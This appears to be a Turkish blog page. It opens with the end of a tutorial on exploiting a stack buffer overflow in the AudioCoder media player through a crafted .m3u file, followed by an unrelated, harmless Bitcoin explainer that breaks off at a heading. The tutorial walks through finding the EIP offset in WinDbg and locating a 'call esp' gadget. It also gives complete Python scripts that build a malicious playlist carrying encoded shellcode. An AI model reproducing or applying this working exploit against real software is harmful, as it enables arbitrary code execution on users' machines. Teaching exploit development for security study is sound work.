BINGO! Bu sefer stack’e yapılan bir kopyalama işlemi yakaladık. Bu instruction EAX’tan alıp, MOV işlemi bir stack’e, 0012e3f8 adresine kopyalama yapılıyor. EAX’ın değeri 68h yani ASCII olarak ‘h’ harfi oluyor, URL’in ilk karakteri. ECX ise memory’deki URL’e işaret ediyor. Burayı biraz daha derin incelemek gerekirse:

0:000> u eip-2
image00400000+0x1f217:
0041f217 8a01 mov al,byte ptr [ecx]
0041f219 88040a mov byte ptr [edx+ecx],al
0041f21c 8d4901 lea ecx,[ecx+1]
0041f21f 84c0 test al,al
0041f221 75f4 jne image00400000+0x1f217 (0041f217)
0041f223 8d442418 lea eax,[esp+18h]
0041f227 50 push eax
0041f228 6a00 push 0

Bu komut ile eip-2 konumundan başlayarak, code stream’i dissasemble ettik. Bu kod parçasını kabaca açıklamak gerekirse:

0041f217 8a01 mov al,byte ptr [ecx]

ECX’ten bir byte alıp, AL register’ına atıyor, yani EAX’ın düşük order tarafına. Yukarıda görülebileceği üzere ecx=02853328 olduğundan, aslında bizim hafızada bulunan URL’den bir satır alıp AL’e kopyalıyor.

0041f219 88040a mov byte ptr [edx+ecx],al

Bir önceki adımda alınan byte’ı, AL’den alıp stack’e yazıyor.

0041f21c 8d4901 lea ecx,[ecx+1]

ECX bir arttırılıyor. Dolayısıyla hem kaynak hem de hedef adresler de bir arttırılmış oluyor.

0041f21f 84c0 test al,al
0041f221 75f4 jne image00400000+0x1f217 (0041f217)

Hatırlıyorsanız AL’de URL’den okunan karakter vardı. Eğer URL’in sonuna geldiysek, string’ler NULL karakterlerle sonlandırıldığı için, okunan son karakter NULL değil ise tekrar döngünün başına zıplıyoruz. Eğer son karakter null ise, kopyalama işlemi bittiği için döngüden çıkıp program akışına devam edebilir.

Bu döngü bittikten sonra, eğer stack’te yeterince yer ayrılmamışsa, kendi yerini taşıracak ve önce yandaki parametreler, sonrasında da return adresin üzerini yazacaktır. Şu anda callstack’in durumuna bakalım, bir de döngü bittikten sonraki call stack’in durumuna bakalım.

0:000> k5
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
0012e714 004080cc image00400000+0x1f219
0012e8d0 0042a082 image00400000+0x80cc
0012e924 7e423ce4 image00400000+0x2a082
0012e990 7e423b30 USER32!UserCallDlgProcCheckWow+0x146
0012e9d8 7e423d5c USER32!DefDlgProcWorker+0xa8

Döngü sonuna, yani 0041f223 adresine kadar devam ettirelim.

0:000> bd *
0:000> pa 0041f223
..
..

eax=00000000 ebx=7e42f3c2 ecx=02853711 edx=fd8db0d0 esi=004b5f30 edi=00a501e6
eip=0041f223 esp=0012e398 ebp=0012e714 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
image00400000+0x1f223:
0041f223 8d442418 lea eax,[esp+18h]

0:000> k5
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
0012e714 41414141 image00400000+0x1f223
0012e810 7c919ffa <Unloaded_.dll>+0x41414130
0012ead8 5d095e5e ntdll!RtlAllocateHeapSlowly+0x113b
0012eaf4 5d09602f COMCTL32!CallOriginalWndProc+0x1a
0012eb50 5d095fe4 COMCTL32!CallNextSubclassProc+0x3c

Görüldüğü üzere callstack’te return adresi artık 41414141 olarak görünüyor. Bundan sonraki hedefimiz, return adresin üzerini yazmadan önce kaç baytlık yerimiz var? Bunu belirleyebilmek için rutin sonundaki ret instruction’ina kadar execution’i devam ettirelim.

0:000> pt
eax=004b5f30 ebx=00208750 ecx=00234f08 edx=00000024 esi=7e42f3c2 edi=004b5f30
eip=0041fd82 esp=0012e4f8 ebp=0012e714 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
image00400000+0x1fd82:
0041fd82 c3 ret

0:000> dd esp
0012e4f8 41414141 41414141 41414141 41414141
0012e508 41414141 41414141 41414141 41414141
0012e518 41414141 41414141 41414141 41414141

Evet, ret instruction’i pop eip anlamına gelmektedir. Burada ret instruction’i çalışınca, 0012e4f8 adresindeki 41414141 değeri, EIP’ye atanacak ve programın çalışması bitecek. Yukarıda değinmiştik, ilgili URL stack’e 0012e3f8 adresinden itibaren yazılmaya başlıyordu.

0:000> ?0012e4f8-0012e3f8
Evaluate expression: 256 = 00000100

Bunun anlamı şu, girdiğimiz URL’in ilk 256 baytı stack’teki yerel değişkenlerin üzerini yazıyor ve 256. karakterden itibaren EIP’in üzerine yazılıyor.

Hemen hipotezimizi test edelim. Yeni python kodumuz şu şekilde.

file="exp-2-crash.m3u"
buf="http://" + "A"*249+"BBBB"+"C"*740;
try:
	writeFile = open (file, "w")
	writeFile.write( buf )
	writeFile.close()
	print "[*] File successfully created!";
except:
	print "[!] Error while creating file!";

Bu sefer WinDbg’da debugging’i tekrar başlatıyoruz. Bu sefer hiçbir breakpoint koymadan, exp-2-eip.m3u isimli dosyayı AudioCoder’a veriyoruz. Sonuç:

(dd0.19c): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=004b5f30 ebx=002087f8 ecx=0024fd00 edx=00000024 esi=7e42f3c2 edi=004b5f30
eip=42424242 esp=0012e4fc ebp=0012e714 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
<Unloaded_.dll>+0x42424231:
42424242 ?? ???

EIP değeri 42424242, ASCII olarak tahmin ettiğimiz üzere ‘BBBB’.

Exploit Geliştirme Planlaması

Exploit dediğimiz kod parçası, bu güvenlik açığını istismar edip programa girdi olarak verdiğimiz dosya ile, istediğimiz kodun çalıştırılması hadisesidir.

  1. EIP’nin hangi baytlar tarafından kontrol edildiğini tespit etmek. Bunu bir önceki adımda yaptık, 256. bayttan itibaren.
  2. EIP’i shellcode’a yönlendirmek
  3. Belleğe shellcode’ü yüklemek. Bunu da bir öncekı adımda yaptık, 260. karakterden sonrası shellcode’umuz olacak.

Adım adım ilerleyeceğiz, eğer arada işleri karıştırırsak -ki kuvvetle muhtemel- bir önceki adıma geri dönüp oradan itibaren işlemleri tekrarlayacağız.

EIP’i Shellcode’a Yönlendirmek

Exploitimizin şu anki hali ile return adresin üzerini 0x42424242 adresi ile yazıyoruz. Fonksiyon sonundaki return instruction’i çalıştığı anda bu 0x42424242 adresine dönmeye çalışıyor ve crash oluyor.

Bir önceki adımda, 0x42424242 adresinde crash olduğu noktadaki register’ların durumlarına bakalım.

(bf4.da0): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=004b5f30 ebx=00209ca0 ecx=002457f8 edx=00000274 esi=7e42f3c2 edi=004b5f30
eip=42424242 esp=0012e4fc ebp=0012e714 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
<Unloaded_.dll>+0x42424231:
42424242 ?? ???

ESP Register’ı 0x0012e4fc adresini gösteriyor.

0:000> dd esp – 4
0012e4f8 42424242 43434343 43434343 43434343

ESP’nin gösterdiği yerin 4 bayt öncesi EIP, sonrası ise 260. bayttan sonrasındaki karakterler. Yani ESP register’ını kullanarak doğrudan shellcode’a zıplamak mümkün! Bunu da aşağıdaki assembly operasyonları ile kolayca yapabiliriz.

  • jmp esp
  • call esp

Process içerisinde yüklenen modüllerin code stream’larinda bu instruction’lardan birisini bulursak, ki bulmamız çok muhtemel, o adrese return ederek jmp instruction’inin çalışmasını sağlayabilir ve EIP’yi bizim hafıza yüklediğimiz shellcode’a yönlendirebiliriz.

Öncelikli olarak bu instruction’ların opcode’larını hesaplayalım.

  1. WinDbg ekranında ‘a’ komutunu girin.
  2. Sonrasında ‘call esp’ yazıp enter’a basın.
  3. Tekrar enter’a basın.
  4. Yazdığınız ‘call esp’ instruction’ının yanındaki addressi unassemble edin.

Aşağıda görülebileceği gibi, call esp instruction’inin opcode’u ‘ff d4’tür.

Screen Shot 2013-12-14 at 8.26.15 PM

Opcode keşfetmeyi öğrendiğimize göre, işleme devam edebiliriz. Yüklenen modülleri listelemek için aşağıdaki komutu giriyoruz. (Eğer bu komut çalışmazsa, bunun sebebi narly uzantısının yüklenmemiş olması olabilir. ‘load .narly’ komutu ile eklentiyi yükleyin. Kurulum adımları şurada) :

0:002> !nmod
00350000 003ee000 libxml2 /SafeSEH ON /GS C:\Program Files\AudioCoder\libxml2.dll
003f0000 003f9000 Normaliz /SafeSEH ON /GS *ASLR *DEP C:\WINDOWS\system32\Normaliz.dll
00400000 00569000 image00400000 /SafeSEH ON /GS *DEP image00400000
00570000 005f0000 SDL /SafeSEH ON /GS *ASLR *DEP C:\Program Files\AudioCoder\SDL.dll
00600000 00656000 SDL_image /SafeSEH OFF *ASLR *DEP C:\Program Files\AudioCoder\SDL_image.dll
00670000 00702000 jpeg /SafeSEH ON /GS C:\Program Files\AudioCoder\jpeg.dll
018e0000 01945000 mcres /SafeSEH ON /GS *DEP C:\Program Files\AudioCoder\mcres.dll
019a0000 019af000 dsp_chmx /SafeSEH OFF C:\Program Files\AudioCoder\plugins\dsp_chmx.dll
019c0000 019c6000 dsp_zsc /SafeSEH OFF C:\Program Files\AudioCoder\plugins\dsp_zsc.dll
019d0000 01a08000 SysInfo /SafeSEH ON /GS *DEP C:\Program Files\AudioCoder\SysInfo.dll
02040000 02305000 xpsp2res NO_SEH C:\WINDOWS\system32\xpsp2res.dll
10000000 10029000 mccommon /SafeSEH ON /GS *DEP C:\Program Files\AudioCoder\mccommon.dll
..
..

Modül listesi hayli kabarık, modülleri incelerken aşağıdaki kriterleri inceliyoruz:

  1. ASLR aktif edilmemiş modüllerden birini seçmemiz gerekiyor.
  2. Program ile gelen dosyalardan birini seçersek daha güzel olur. Zira Windows ile birlikte gelen DLL’ler her Windows sürümü ile değişeceğinden exploitiniz farklı Windows sürümlerinde çalışmayabilir.
  3. Modül adresinde 0x00 baytı, yani NULL karakter olmamalı. strcpy fonksiyonu gibi NULL karaktere kadar kopyalan fonksiyonların exploitinde sorun oluşturmaması için.

Bu kriterlere uyan mcommon modülünde, ‘call jmp’ instruction’i arayacak olursak:

0:002> s -b 10000000 10029000 ff d4
10013cc3 ff d4 3c 01 10 dc 3c 01-10 ec 3c 01 10 00 3d 01 ..<…<…<…=.

Evet, 0x10013cc3 adresinde ‘call jmp’ instruction’ini bulduk.  Şimdi kontrol edelim:

0:002> u 10013cc3

mccommon!CXML::Unlock+0xf233:
10013cc3 ffd4 call esp
10013cc5 3c01 cmp al,1
10013cc7 10dc adc ah,bl
10013cc9 3c01 cmp al,1
10013ccb 10ec adc ah,ch
10013ccd 3c01 cmp al,1
10013ccf 1000 adc byte ptr [eax],al
10013cd1 3d01108b44 cmp eax,offset <Unloaded_.dll>+0x448b0ff0 (448b1001)

Her şey doğru gözüküyor. Bu hafıza adresinin executable olup olmadığına bakalım.

0:002> !address 10013cc3
10000000 : 10001000 – 00017000
Type 01000000 MEM_IMAGE
Protect 00000020 PAGE_EXECUTE_READ
State 00001000 MEM_COMMIT
Usage RegionUsageImage
FullPath C:\Program Files\AudioCoder\mccommon.dll

Evet, yukarıdakı çıktıda görülebileceği üzere ‘Protect 00000020 PAGE_EXECUTE_READ’ ifadesi, bu adresteki instruction’in CPU tarafından hiçbir problem yaşanmadan fetch edilip çalıştırılabileceğini, ama üzerinde yazılamayacağını gösteriyor.

Exploitimizin üçüncü aşamasını call jmp instruction’i ve shellcode olarak da ‘\xCC’ baytları ile güncellersek:

file="exp-3-callesp.m3u"
buf="http://" + "A"*249+"\xc3\x3c\x01\x10"+"\xCC"*370;
try:
	writeFile = open (file, "w")
	writeFile.write( buf )
	writeFile.close()
	print "[*] File successfully created!";
except:
	print "[!] Error while creating file!";

Burada ‘\xCC’ baytlarıyla belleği doldurmamızın amacı şu: ‘call jmp’ instruction’ini çalışınca EIP’yi o an ESP pointer’i nereyi gösteriyorsa oraya zıplatacak ve o adreste de ‘\xCC’ baytları var. Bu baytlar sayesinde WinDbg biz daha önce breakpoint koymuşuz gibi programın akışını kesecek.

Bu python kodunu çalıştırdıktan sonra oluşan ‘exp-3-callesp.mp3’ dosyasını, WinDbg ile başlattığımız AudioCoder ‘a verirsek:

(598.c68): Break instruction exception – code 80000003 (first chance)
eax=004b5f30 ebx=00208bf8 ecx=02855b28 edx=00000024 esi=7e42f3c2 edi=004b5f30
eip=0012e4fc esp=0012e4f8 ebp=0012e714 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
<Unloaded_.dll>+0x12e4eb:
0012e4fc cc int 3

Beklediğimiz gibi ‘call esp’ instruction’i çalıştı, EIP stack’teki baytları gösterir hale gerdi, oradaki instruction’lar fetch ve decode edildikten sonra çalıştırılınca, WinDbg durdu ve programın kontrolünü bize verdi.

Artık bir sonraki aşamaya geçebiliriz.

Stack’e Shellcode’u Yüklemek

Bu adımda ‘0xCC’ baytlarını gerçek shellcode’umuz ile değiştirecek ve programın istediğimiz kodları çalıştırmasını sağlayacağız.

Shellcode yazmak başka bir uzmanlık alanı, belki bir gün o konudan da bahsederiz. Ben bu shellcode’u exploit’in kendisinden aldım. Metasploit’i kullanarak bu ya da daha gelişmiş shellcode’ları kolayca ürettilebilirsiniz. Bu shellcode’umuz Windows’un hesap makinesini çalıştırıyor.

file="exp-4-callesp.m3u"
buf=("http://" + "A"*249+"\xc3\x3c\x01\x10"+"\x90"
"\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9"
"\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92"
"\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84"
"\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e"
"\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1"
"\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27"
"\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb"
"\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b"
"\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2"
"\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37"
"\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3"
"\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef"
"\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb"
"\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf"
"\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83"
"\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3"
"\x9a\xca\xc0");
try:
	writeFile = open (file, "w")
	writeFile.write( buf )
	writeFile.close()
	print "[*] File successfully created!";
except:
	print "[!] Error while creating file!";

Shellcode’un kendisi 3. satırdan itibaren başlıyor ve 227 bayt. Alignment’ta sorun olmaması için başına bir adet NOP instruction’i koyduk, ‘\x90’ baytı.

Bu python kodu ‘exp-4-callesp.m3u’ isimli dosyayı oluşturuyor. Bu dosyayı AudioCoder ile açarsak, Windows’un hesap makinesinin çalıştığını görebiliriz.

Windows XP SP3 – AudioCoder & Calc & WinDbg

Son

Meseleyi temelden incelemek adına zaman zaman Amerika’yı baştan keşfettiğimiz uzun soluklu bir yazı oldu. Bu yazı ile bir temel oluşturduğumuzu düşünerek bundan sonraki yazılarda daha doğrudan anlatımlar yapmaya gayret edeceğim.



Notes:

  1. Örnek kod şuradan alınmıştır.
  2. Win32 Console Application, Empty Project
  3. Stack düşük adreslere doğru büyüdüğü için, aslında daha yüksek adrese 
  4. Her zaman değil, genellikle. Zira öngürlmeyen bir çok sebeple açık exploit edilemiyor olabilir
  5. mona.py ya da Metaploit cyclc pattern’lari kullanarak

Bitcoin Nedir, Nasıl Çalışır?

Bitcoin Nedir?

Bitcoin’i kabaca tanımlamak gerekirse, Vikipedi tanımından faydalanabiliriz:

Bitcoin (sembolü: ฿, kısaltma: BTC) herhangi bir merkez bankası, resmi kuruluş, vs. ile ilişiği olmayan elektronik bir para birimidir. Bitcoin ağı 3 Ocak 2009’da hayata geçti. Maksimum bitcoin sayısı 21 milyonla sınırlıdır.

Bu yazıda, Bitcoin sisteminin nasıl çalıştığını ve ne gibi riskler içerdiğini mümkün olan en basit dille ifade edeceğiz.

 

Geçmişi

Bitcoin'in AmblemiBitcoin 2008 yılında, Satoshi Nakamoto tarafından yazılan manifesto ile duyurulan, 2009 yılının başında da işlevsel hale gelen, ilk sanal para birimi 1 ve protokolün ismidir. Bitcoin’in yaratıcısı Satoshi Nakamoto’nun kimliği ile ilgili pek bilgi bulunmamakla birlikte, sistemi tasarlayan kişi ya da kişilerin kullandığı takma bir isim olduğu tahmin edilmektedir.

Bitcoin, ilk yılın sonuna kadar maddi anlamda değer kazanamazken, Mayıs 2010 gibi 1 bitcoin 0.01 dolar civarinda bir değere erişmişti. 2010 Yılı başında 13 dolar değerinde olan bitcoin, bu makalenin yazıldığı tarih itibariyle 1000 dolar civarından alımı ve satımı yapılmaktadır.

Satoshi Nakamoto tarafından yazılan 8 sayfalık makale, gün itibariyle 10 milyar dolarlık bir ekonominin oluşmasına sebep oldu. Makaleyi bugün okuyunca oldukça etkileniyorsunuz zira 2008 yılında yazılan bir metin, Bitcoin sisteminin bugününde yaşanan problemlere ışık tutuyor. Kabaca sistemin bütün parçalarıyla nasıl çalışacağı, sistemdeki güvenlik, anonimlik endişelerinin ayrıntılı analizleri ve ileride karşılaşması muhtemel ölçeklenebilirlik problemleri için de çözümler gösterildiğini görüyoruz.

 

Bitcoin Nasıl Çalışır?

Sanal para birimi denince, akla ilk olarak bunun kullandığımız fiziksel paradan ne farkı olduğu, nasıl avantajlar sağladığı ve neden kullanıldığı gibi sorular gelmektedir. Bitcoin’in bankalar tarafından regüle edilen fiziksel ve resmi paraya ve para sistemine göre bir çok avantajı (ve aynı zamanda dezavantajı) vardır ve bunlara bu başlıkta değineceğiz. Ama öncelikli olarak, bu avantajların doğmasına sebep olan felsefi alt yapıdan biraz bahsetmek gerekir.

Bitcoin herhangi bir merkez tarafından kontrol altında tutulmayan, yönetilmeyen ve regüle edilmeyen dağıtık bir sistemdir.

Para sisteminin çalışması için bir kaç aktöre gerek duyulur.

 

Darphane

Paranın kontrolü devlete ait olduğu için, para basma işlemi de devlete ait bir kurum tarafından yapılır ve çeşitli şekillerde piyasaya sürülür. Parayı kontrol edebilme gücü tek bir merkezdedir. Sistem tasarımı gereği, merkezi otoriyete paranın kontrolünü ve parayı yönetme gücünü vermektedir.

Bu güç, elinde bulunduranlar tarafından suistimal edilmeye müsaittir. Bu noktadaki suistimalin faturası ise parayı elinde bulunduran bütün şahıslara yansıyacaktır.

 

Peki Bitcoin sisteminde para nasıl basılıyor?

Bitcoin bu sorunu, para basma gücünü merkezi bir yerde toplamak yerine dağıtmakla, yani her isteyenin para basma sürecine dahil olabileceği desantralize/dağıtık bir yapı ile çözüyor.

Çok kabaca anlatmak gerekirse, çözülmesi gereken bir kriptolojik bilmece var. Bilmeceyi çözmesi için bilgisayarınıza ‘madenci (mining)’ yazılımı yüklüyorsunuz. Program bilgisayarın bütün işlem gücünü bu bilmecenin çözümünü aramaya ayırıyor ve çözümü bulunca diğer madencilere bulduğunuz çözümü ilan ediyorsunuz. Dünyadaki bütün bitcoin madencileri aynı bilmeceyi çözmeye çalışıyor ve bilmecenin çözümü sonrasında bir ödül mevcut.

Her çözdüğünüz bilmece için 25 bitcoin ödül olarak veriliyor. Bilmecenin çözümünün tek yolu bütün olasılıkların üzerinden giderek deneme yanılma yaparak ilerlemek ve bu da tamamen işlem gücünüz ile doğru orantılı şekilde hızlandırabileceğiniz bir işlem. Ek olarak ortalama 4 yılda (210000 bilmecede) bir ödülün miktarı da yarıya düşüyor.

Her bilmecinin çözümü, aslında muhasebe defterine (ledger) eklenecek yeni bir kütük (block) anlamına geliyor. Muhasebe defteri, bütün para transferi işlemlerinin tutulduğu, herkesin erişebildiği defterin ismi. Bundan ileride daha fazla bahsedeceğiz.

Sistem bilmecelerin zorluğunu her 2016 bilmecenin çözümünden sonra ortalama saatte 6 bilmece çözülecek şekilde düzenliyor. Ek olarak Bitcoin sistemine göre, maksimum basılabilecek bitcoin sayısı 21 milyon. Dolayısıyla bilmeceler madencilerin işlem gücü arttıkça, yarışa ya da yeni madenciler eklendikçe zorlaşıyor ve bir zaman sonra bitcoin üretimi tamamen bitecek.

Bilmecelerin zorluğu yıllar geçtikçe çok arttığından ve yarışa çok fazla madenci eklendiği için tek başınıza bilmeceleri çözmeye çalıştığınızda eğer işlem gücünüz çok yüksek değilse hiçbir bilmeceyi çözememe ihtimaliniz ve neticesinde hiçbir bitcoin basamama ihtimaliniz son derece yüksek. Bu durumda da madenci havuzları yardımımıza yetişiyor. Madenci havuzu (mining pool) dediğimiz hadise, madencilerin bir araya gelerek bilmeceyi beraber çözmeleri ve ödülü de aynı oranda paylaşmalarıdır. Havuzun toplam işlem gücü, madencilerin toplam işlem gücüne eşit olacağından, bir elin nesi var iki elin sesi var misali bilmece çözmek daha mümkün hale gelecektir.

 

Bilmece bildirmece el üstünde kaydırmaca

Bitcoin basılabilmesi için, herkesin çözmeye çalıştığı bilmecelerden bahsetmiştik. Peki nedir bu bilmeceler.

Bilmece dediğimiz hadise, muhasebe defterine (ledger) eklenecek yeni bir kütük (block) bulunması işlemidir. Kütük, gerçekleştirilmeyi bekleyen bütün para transfer işlemlerini ve bir adet nonce değeri içerir.  Öyle bir nonce değeri bulunmalı ki, o nonce değeri kütüğe eklendikten sonra SHA-256 algoritması ile alınan kriptografik özet, Bitcoin ağının o anki zorluk derecesinden (difficulty) daha küçük bir değer çıksın.

Bütün madenciler, doğru nonce değerini bulabilmek için, bütün muhtemel değerleri, 1’den başlayıp sonsuza kadar arttırarak, bir bir deniyorlar. Doğru nonce değerini bulan madenci, Bitcoin ödülünü kazanmış oluyor.

Bitcoin protokolü, zorluk derecesini saatte 6 kütük (block) bulunacak şekilde, her 2016 kütükte bir tekrar hesaplanıyor. Yani örnek vermek gerekirse şu an için zorluk derecesi (difficulty) 10 olsun. Eğer geçmiş 2016 kütük boyunca, ortalama saatte 12 tane kütük keşfedildiyse, yeni zorluk derecesi 20 olarak ayarlanıyor.

333 mh/sn hızında çalışan ASIC madenciler

Tanesi 333 mh/sn hızında çalışan ASIC madenciler

Bitcoin üretimi durduğunda ise, madenciler bu sefer transfer ücretlerini kazanmak için, yeni kütüğü bulmaya çalışacaklar.

İlk zamanlar ağın zorluk derecesi (difficulty) fazla olmadığından ötürü, CPU ve GPU’lar ile madencilik yapmak mümkündü. Lakin algoritma olarak SHA-256’nın seçildiğini söylemiştik. Bu algoritma aritmetik işlemlere dayalı, çok fazla hafıza gereksinimi olmayan türden. Bundan ötürü ASIC (Application-specific integrated circuit) madencisi dediğimiz, SHA-256 algoritmasını çok hızlı şekilde hesaplayan, özel olarak geliştirilmiş cihazlar piyasaya sürüldü. Bunlar sadece işlem gücü gerektiren bu algoritmaya göre özelleşmiş oldukları için CPU ya da GPU’lara göre çok daha hızlı şekilde hesaplama yapabiliyorlar. 2

Örneğin bir başka sanal para birimi olan Litecoin kriptografik özet için scrypt algoritmasini kullanıyor ve bu algoritma ciddi oranda hafıza gereksinimi duyduğu için hesaplama performansı olarak GPU’ları alt edecek donanımlar üretmek, Bitcoin ASIC madencilerine göre maaliyet açısından pek karlı değil, en azından şu an için.

 

Banka

Bankalar, para sahibi insanlar ya da tüzel kişilikler için cüzdan servisidir. 3 Parayı saklamak ve işlem yapmak bir çok durumda pratik olmadığı için, bankalar hayatlarımıza girmiştir. Bizim paramızı muhafaza eder ve bir yere transfer etmek istiyorsak bizim adımıza bu transferi gerçekleştirir.

Bankacılık teknolojisinin bazı problemleri şunlardır:

  • Para transferi genellikle ucuz değildir. Özellikle uluslararası para transferleri ciddi manada masraflıdır.

  • Para transferi genellikle yavaştır.

  • Ülkeler arası bankacılık ve para transfer sistemlerinde standartlaşma bulunmamaktadır. Bundan ötürü X ülkesindeki bir bankadan Y ülkesinde başka bir bankaya para göndermek isterseniz paranızın kaç farklı sistemden geçerek hedefe ulaşacağı, bu sistemlerde ne gibi sorunlar olacağı, ne kadar vakit alacağı vs. bilinmezler olarak karşımıza çıkar.

  • Para transferi anonim değildir.

Para transferi konusundaki bu verimsizlikleri çözmek için Western Union, MoneyGram ve Paypal gibi firmalar kuruldu ve nihayetinde dev haline geldiler.

Bankaların işlevsel anlamdaki problemleri dışında, asıl itibariyle bağlı bulundukları ülkelerin resmi şirketleri oldukları için darphane konusunda bahsedilen gücün suistimalinden etkilenmekten kurtulamazlar. Örneğin hukukun doğru işlemediği bir ülkede siyasi iktidarın hedefi olduysanız, bankalardaki tüm birikiminize doğrudan el konulabilir. Ek olarak, bankalar sizin istediğiniz işlemi gerçekleştirmeyi reddedebilir. Bu konunun en güzel örneği WikiLeaks’in başına gelen olaydır. 2010 Yılı Aralık ayı içerisinde bütün banka ve diğer mali kurumlar WikiLeaks’in hesaplarını durdurdu ve bağış kabul etmesini engelledi.

Peki Bitcoin sisteminde para saklama ve transfer işlemleri, nasıl ve mevcut sisteme oranla ne gibi avantajlar sunuyor?

Bitcoinler, kişilerin oluşturdukları sanal cüzdanlarda tutulur. Bir cüzdandan, diğerine, mesafe farketmeksizin -dünyanın bir ucundan diğer ucuna- dakikalar içerisinde, hemen hemen hiçbir işlem ücreti ödemeden transfer edilebilir.

Bitcoin para transferleri için açık anahtarlı şifreleme ve dijital imza teknolojilerini kullanır. Açık anahtarlı şifrelemede her bireyin bir adet gizli anahtarı bir adet de açık anahtarı vardır. Gizli anahtar kişinin sadece kendisi tarafından bilinirken açık anahtar ise herkese duyrulur.

Bitcoin cüzdanı bu açık ve gizli anahtarı tutan bir dosyadır. Para transferini adım adım açıklamak gerekirse:

  1. Ahmet isimli kişi, Ali’ye kendi bitcoin adresini gönderir.

  2. Ali, yollamak istediği bitcoin miktarı ve Ahmet’in Bitcoin adresi ile yeni bir transfer işlemi oluşturur.

  3. Ali transfer işlemini kendi özel anahtarı ile imzalar ve işlemi bütün Bitcoin ağına ilan eder.

  4. İşlem Bitcoin ağındaki bütün katılımcılara ulaştıktan sonra, katılımcılar işlemin gerçekten Ali tarafından yapıldığını Ali’nin açık anahtarı ile doğrularlar.

  5. İşlem, bilmecenin çözülmesi ile birlikte muhasebe defteri’ne (ledger) eklenen yeni kayıda dahil edilir ve transfer tamamlanmış olur. 4

     

Muhasebe Defteri (Ledger)

Bitcoin sisteminde, bütün para transferler – hangi adresten hangi adrese, ne zaman, ne kadar para gittigi bilgisi – herkese açık tek bir muhasebe defterinde (ledger) toplanır. Bu şekilde hangi hesapta ne kadar para olduğunun bilgisi tutulur ve aynı paranın birden fazla kere harcanmasının (double spending) önüne geçilir.

 

Anonimlik ve Eleştirisi

Bitcoin sisteminde bütün transferler ortak bir muhasebe defterinde toplandığı ve transferler tüm dünyaya duyurulmak vasıtasıyla yapıldığı için, herkes hangi adresten hangi adrese ne kadar bitcoin yollandığını bilmektedir. Lakin bitcoin adresi dediğimiz şey 27-34 karakter uzunluğunda tamamen rastgele bir metindir.

Bitcoin adresinizi kimliğinize bağlayacak bir bilgiyi bir yerlerde paylaşmadığınız taktirde, anonimliğinizi koruyabilirsiniz. Lakin bu işlem göründüğünden biraz zor olabilir, zira bütün hareketler takip edilebilir olduğu için anonim bir hesaba yapılacak ilk yüklemenin kaynağı da geriye doğru incelenerek kolaylıkla belirlenebilir. Söz konusu kaynak da bitcoin’leri bilmece çözerek (mining) değil de bir yerlerden satın alarak sahip olduysa, söz konusu alım satımın yapıldığı web sitesinde bunun kayıtları tutuluyor olacaktır.

Bir Örnek
TV Şovundan bir görüntü

TV Şovundan bir görüntü

Bunun enteresan bir örneğini geçen gün gördük. Bir TV şovunda, bir öğrenci yanda görülen kendi Bitcoin adresinin QR kodunu içeren bir pankart ile görüldü.

Reddit’teki bir arkadaş, bu TV görüntüsünden QR kodunu ayıkladı ve bunu bilgisayara tarattıktan sonra ait olduğu Bitcoin adresini –1HiMoMgBaAikFHgAt3M4YJtetp4HrnsiXu – tespit etti. Bu aşamadan sonra, Blockchain.info web sitesinden, bu cüzdanda ne kadar bitcoin tutulduğunu, hangi adreslerden ne kadar bitcoin transfer edildiğini kolaylıkla görebiliriz:

https://blockchain.info/address/1HiMoMgBaAikFHgAt3M4YJtetp4HrnsiXu

Bitcoin cüzdanı ile ilgili bilgiler

Bitcoin cüzdanı ile ilgili bilgiler

Bu cüzdanın şu anki bakiyesi 23 bitcoin civarında ve 100 tane transfer yapılmış. Transferleri teker teker incelediğimizde görüyoruz ki, bu transferlerin hepsi 30 Kasım’dan itibaren yapılmış. Ayrıca her bir transferin kimden (hangi bitcoin adresinden) geldiği ve miktar bilgisi de mevcut.

 

Karıştırma (Mixing) / Çamaşırhane (Laundry) Servisleri

